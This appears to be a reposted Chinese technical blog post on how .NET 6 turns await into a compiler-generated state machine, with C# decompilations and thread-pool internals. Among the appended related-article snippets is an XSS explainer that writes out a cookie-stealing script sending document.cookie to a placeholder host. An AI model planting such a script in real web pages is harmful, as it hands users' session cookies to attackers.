.NET6中的await原理浅析

news/2024/2/27 22:44:25

前言

看过不少关于 await 的原理的文章,也知道背后是编译器给转成了状态机实现的,但是具体是怎么完成的,回调又是如何衔接的,一直都没有搞清楚,这次下定决心把源码自己跑了下,终于豁然开朗了

本文的演示代码基于 VS2022 + .NET 6

示例

public class Program
{static int Work(){Console.WriteLine("In Task.Run");return 1;}static async Task TestAsync(){Console.WriteLine("Before Task.Run");await Task.Run(Work);Console.WriteLine("After Task.Run");}static void Main(){_ = TestAsync();Console.WriteLine("End");Console.ReadKey();}
}

  • 很简单的异步代码,我们来看下,编译器把它变成了啥

class Program
{static int Work(){Console.WriteLine("In Task.Run");return 1;}static Task TestAsync(){var stateMachine = new StateMachine(){_builder = AsyncTaskMethodBuilder.Create(),_state = -1};stateMachine._builder.Start(ref stateMachine);return stateMachine._builder.Task;}static void Main(){_ = TestAsync();Console.WriteLine("End");Console.ReadKey();}class StateMachine : IAsyncStateMachine{public int _state;public AsyncTaskMethodBuilder _builder;private TaskAwaiter<int> _awaiter;void IAsyncStateMachine.MoveNext(){int num = _state;try{TaskAwaiter<int> awaiter;if (num != 0){Console.WriteLine("Before Task.Run");awaiter = Task.Run(Work).GetAwaiter();if (!awaiter.IsCompleted){_state = 0;_awaiter = awaiter;StateMachine stateMachine = this;_builder.AwaitUnsafeOnCompleted(ref awaiter, ref stateMachine);return;}}else{awaiter = _awaiter;_awaiter = default;_state = -1;}awaiter.GetResult();Console.WriteLine("After Task.Run");}catch (Exception exception){_state = -2;_builder.SetException(exception);return;}_state = -2;_builder.SetResult();}void IAsyncStateMachine.SetStateMachine(IAsyncStateMachine stateMachine) { }}
}

  • 编译后的代码经过我的整理,命名简化了,更容易理解

状态机实现

  • 我们看到实际是生成了一个隐藏的状态机类 StateMachine

  • 把状态机的初始状态 _state 设置 -1

  • stateMachine._builder.Start(ref stateMachine); 启动状态机,内部实际调用的就是状态机的 MoveNext 方法

  • Task.Run 创建一个任务, 把委托放在 Task.m_action 字段,丢到线程池,等待调度

  • 任务在线程池内被调度完成后,是怎么回到这个状态机继续执行后续代码的呢?_builder.AwaitUnsafeOnCompleted(ref awaiter, ref stateMachine); 就是关键了, 跟下去,到了如下的代码:

if (!this.AddTaskContinuation(stateMachineBox, false))
{ThreadPool.UnsafeQueueUserWorkItemInternal(stateMachineBox, true);
}
bool AddTaskContinuation(object tc, bool addBeforeOthers)
{return !this.IsCompleted && ((this.m_continuationObject == null && Interlocked.CompareExchange(ref this.m_continuationObject, tc, null) == null) || this.AddTaskContinuationComplex(tc, addBeforeOthers));
}

  • 这里很清楚的看到,尝试把状态机对象(实际是状态机的包装类),赋值到 Task.m_continuationObject, 如果操作失败,则把状态机对象丢进线程池等待调度,这里为什么这么实现,看一下线程池是怎么执行的就清楚了

线程池实现

  • .NET6 的线程池实现,实际是放到了 PortableThreadPool, 具体调试步骤我就不放了,直接说结果就是, 线程池线程从任务队列中拿到任务后都执行了 DispatchWorkItem 方法

static void DispatchWorkItem(object workItem, Thread currentThread)
{Task task = workItem as Task;if (task != null){task.ExecuteFromThreadPool(currentThread);return;}Unsafe.As<IThreadPoolWorkItem>(workItem).Execute();
}
virtual void ExecuteFromThreadPool(Thread threadPoolThread)
{this.ExecuteEntryUnsafe(threadPoolThread);
}

  • 我们看到, 线程池队列中的任务都是 object 类型的, 这里进行了类型判断, 如果是 Task , 直接执行 task.ExecuteFromThreadPool, 更有意思的这个方法是个虚方法,后面说明

  • ExecuteFromThreadPool 继续追下去,我们来到了这里,代码做了简化

private void ExecuteWithThreadLocal(ref Task currentTaskSlot, Thread threadPoolThread = null)
{this.InnerInvoke();this.Finish(true);
}virtual void InnerInvoke()
{Action action = this.m_action as Action;if (action != null){action();return;}
}

  • 很明显 this.InnerInvoke 就是执行了最开始 Task.Run(Work) 封装的委托了, 在 m_action 字段

  • this.Finish(true); 跟下去会发现会调用 FinishStageTwo 设置任务的完成状态,异常等, 继续调用 FinishStageThree 就来了重点: FinishContinuations 这个方法就是衔接后续回调的核心

internal void FinishContinuations()
{object obj = Interlocked.Exchange(ref this.m_continuationObject, Task.s_taskCompletionSentinel);if (obj != null){this.RunContinuations(obj);}
}

  • 还记得状态机实现么, Task.m_continuationObject 字段实际存储的就是状态机的包装类,这里线程池线程也会判断这个字段有值的话,就直接使用它执行后续代码了

void RunContinuations(object continuationObject)
{var asyncStateMachineBox = continuationObject as IAsyncStateMachineBox;if (asyncStateMachineBox != null){AwaitTaskContinuation.RunOrScheduleAction(asyncStateMachineBox, flag2);return;}
}static void RunOrScheduleAction(IAsyncStateMachineBox box, bool allowInlining)
{if (allowInlining && AwaitTaskContinuation.IsValidLocationForInlining){box.MoveNext();return;}
}

总结

  1. Task.Run 创建 Task, 把委托放在 m_action 字段, 把 Task 压入线程池队列,等待调度

  1. _builder.AwaitUnsafeOnCompleted(ref awaiter, ref stateMachine); 尝试把状态机对象放在 Task.m_continuationObject 字段上,等待线程池线程调度完成任务后使用(用来执行后续),若操作失败,直接把状态机对象压入线程池队列,等待调度

  1. 线程池线程调度任务完成后,会判断 Task.m_continuationObject 有值,直接执行它的 MoveNext

备注

  1. 状态机实现中,尝试修改 Task.m_continuationObject,可能会失败,就会直接把状态机对象压入线程池, 但是线程池调度,不都是判断是不是 Task 类型么, 其实状态机的包装类是 Task 的子类,哈哈,是不是明白了

class AsyncStateMachineBox<TStateMachine> : Task<TResult>, IAsyncStateMachineBox where TStateMachine : IAsyncStateMachinestatic void DispatchWorkItem(object workItem, Thread currentThread)
{Task task = workItem as Task;if (task != null){task.ExecuteFromThreadPool(currentThread);return;}Unsafe.As<IThreadPoolWorkItem>(workItem).Execute();
}

  • 还有就是状态机包装类,重写了 Task.ExecuteFromThreadPool,所以线程池调用 task.ExecuteFromThreadPool 就是直接调用了状态机的 MoveNext 了, Soga ^_^

override void ExecuteFromThreadPool(Thread threadPoolThread)
{this.MoveNext(threadPoolThread);
}

参考链接

  • 关于线程池和异步的更深刻的原理,大家可以参考下面的文章

概述 .NET 6 ThreadPool 实现: https://www.cnblogs.com/eventhorizon/p/15316955.html

.NET Task 揭秘(2):Task 的回调执行与 await: https://www.cnblogs.com/eventhorizon/p/15912383.html

文章转载自:Broadm

原文链接:https://www.cnblogs.com/broadm/p/17833442.html


http://www.ppmy.cn/news/1218990.html

相关文章

bug-xss 攻击漏洞问题

XSS 攻击漏洞是什么 XSS(Cross-Site Scripting)攻击&#xff1a;通过在网站上植入恶意脚本来攻击用户 举例说明 在留言板发布评论&#xff0c;评论内容包含恶意脚本&#xff1a; <script>document.location "http://xxx.com/getCookie?cookie" document…

csrf学习笔记总结

跨站请求伪造csrf csrf概述 掌握CSRF 漏洞原理 掌握CSRF 漏洞场景 掌握CSRF 漏洞验证 csrf原理 ​ 跨站请求伪造&#xff08;Cross Site Request Forgery&#xff0c;CSRF&#xff09;是一种攻击&#xff0c;它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程…

第五章ARM处理器的嵌入式硬件系统设计——课后习题

1ARM处理器的工作状态 ARM处理器有两种工作状态。具体而言&#xff0c;ARM处理器执行32位ARM指令集时&#xff0c;工作在ARM状态&#xff0c;当ARM处理器执行16位thumb指令集时候&#xff0c;工作在thumb状态。 1ARM指令特点 1一个大的&#xff0c;统一的寄存器文件。 2基于…

虹科示波器 | 汽车免拆检修 | 2014款保时捷卡宴车行驶中发动机偶尔自动熄火

一、故障现象 一辆2014款保时捷卡宴车&#xff0c;搭载4.8L自然吸气发动机&#xff0c;累计行驶里程约为10.3万km。车主反映&#xff0c;行驶中发动机偶尔自动熄火&#xff0c;尤其在减速至停车的过程中故障容易出现。 二、故障诊断 接车后路试&#xff0c;确认故障现象与车主所…

php费尔康框架phalcon(费尔康)框架学习笔记

phalcon(费尔康)框架学习笔记 以实例程序invo为例(invo程序放在网站根目录下的invo文件夹里&#xff0c;推荐php版本>5.4) 环境不支持伪静态网址时的配置 第一步&#xff1a; 在app\config\config.ini文件中的[application]节点内修改baseUri参数值为/invo/index.php/或…

C 语言实现 UDP

广播 发送广播信息&#xff0c;局域网中的客户端都可以接受该信息 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <arpa/inet.h>int main() {// 1.创建一个通信的socketint fd socket(PF_INET, …

站长告诉怎么选择网站服务器

很多站长开始做网站的时候&#xff0c;总是纠结于网站主机的选择。对于是使用服务器还是虚拟主机作为网站空间&#xff0c;往往存在很多困 惑&#xff0c;今天为大家详细对比解析一下&#xff01; 选择一个好的空间将有助于网站被搜索引擎更快地编入索引&#xff0c;并继续吸引…

Mysql删除占用事务的线程

参考&#xff1a;https://www.jianshu.com/p/dd0291391188 产生原因&#xff1a;这个问题的原因是在mysql中产生了事务A&#xff0c;执行了修改的语句&#xff0c;比如&#xff1a; update t1 set aget18 where id1;此时事务并未进行提交&#xff0c;事务B开始运行&#xff0c…

易货:一种古老而有效的商业模式

在当今的商业世界中&#xff0c;我们常常听到关于电子商务、互联网和社交媒体等新技术的讨论。然而&#xff0c;尽管这些新技术为我们的日常生活带来了许多便利&#xff0c;但它们并没有完全取代传统的商业模式。其中&#xff0c;易货模式是一种古老而有效的商业模式&#xff0…

软件工程理论与实践 (吕云翔) 第二章软件过程 课后习题及其答案

软件工程理论与实践 (吕云翔) 第二章课后习题 第二章 软件过程 1.判断题 &#xff08;1&#xff09;瀑布模型的最大优点是将软件开发的各个阶段划分得十分清晰。 ( ) &#xff08;2&#xff09;螺旋模型是在瀑布模型和增量模型的基础上增加了风险分析活动。( ) &#xf…

Springboot-aop的使用

aop:面向切面编程&#xff0c;可以看作是面向对象的补充 举例 1.依赖 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.1</version><relativePath/>…

2023年【N1叉车司机】找解析及N1叉车司机复审模拟考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2023年N1叉车司机找解析为正在备考N1叉车司机操作证的学员准备的理论考试专题&#xff0c;每个月更新的N1叉车司机复审模拟考试祝您顺利通过N1叉车司机考试。 1、【多选题】《中华人民共和国特种设备安全法》第八十三…

相关关系与因果关系

本文来自&#xff1a;https://towardsdatascience.com/a-step-by-step-guide-in-detecting-causal-relationships-using-bayesian-structure-learning-in-python-c20c6b31cee5 作者&#xff1a;Erdogan Taskesen 在机器学任务中&#xff0c;确定变量间的因果关系&#xff08;c…

xstream实现xml和java bean 互相转换

目录 pom引用java bean 类XML 转换工具类测试类执行结果注意问题 JAXB方式见&#xff1a; JAXB实现XML和Bean相互转换 Java中实现XML和Bean的转换的方式或插件有以下几种&#xff1a; JAXB&#xff08;Java Architecture for XML Binding&#xff09;&#xff1a;JAXB是Java …

《视觉SLAM十四讲》-- 后端 1(上)

文章目录 08 后端 18.1 概述8.1.1 状态估计的概率解释8.1.2 线性系统和卡尔曼滤波&#xff08;KF&#xff09;8.1.3 非线性系统和扩展卡尔曼滤波&#xff08;EKF&#xff09;8.1.4 小结 08 后端 1 前端视觉里程计可以给出一个短时间内的轨迹和地图&#xff0c;但由于不可避免的…

解决 requests-2.17.3 依赖 chardet 库版本不匹配的问题

问题背景 在使用 requests-2.17.3 版本时&#xff0c;我遇到了一个异常&#xff1a;“Requests dependency ‘chardet’ must be version > 3.0.2, < 3.1.0”。我尝试运行了以下命令来修复问题&#xff0c;但仍然无法解决&#xff1a; pip install -U chardet > 3.0…

2656. K 个元素的最大和 --力扣 --JAVA

题目 给你一个下标从 0 开始的整数数组 nums 和一个整数 k 。你需要执行以下操作 恰好 k 次&#xff0c;最大化你的得分&#xff1a; 从 nums 中选择一个元素 m 。 将选中的元素 m 从数组中删除。 将新元素 m 1 添加到数组中。 你的得分增加 m 。 请你返回执行以上操作恰好 k …

Shopee可以绑定大陆银行卡吗?Shopee收款方式选哪种?——站斧浏览器

shopee可以绑定大陆银行卡吗&#xff1f; 对于中国大陆的卖家而言&#xff0c;他们希望能够在Shopee上绑定自己的大陆银行卡&#xff0c;方便进行交易和收款。然而&#xff0c;目前的情况是Shopee并不支持直接绑定大陆银行卡。这主要是因为Shopee在中国大陆并不是主要运营的电…

flink 8081 web页面无法被局域网内其他机器访问

实现 http://localhost:8081/#/overview 可以被局域网其他机器访问

2023NOIP A层联测32 sakuya

题目大意 有一棵有 n n n个节点的树&#xff0c;每条边有一个边权 w w w。有 m m m个特殊点&#xff0c;将这些点记为集合 A A A。 将 A A A中的元素随机打乱得到序列 a a a&#xff0c;求 ∑ i 2 m d ( a i − 1 , a i ) \sum\limits_{i2}^md(a_{i-1},a_i) i2∑m​d(ai−1​…
最新文章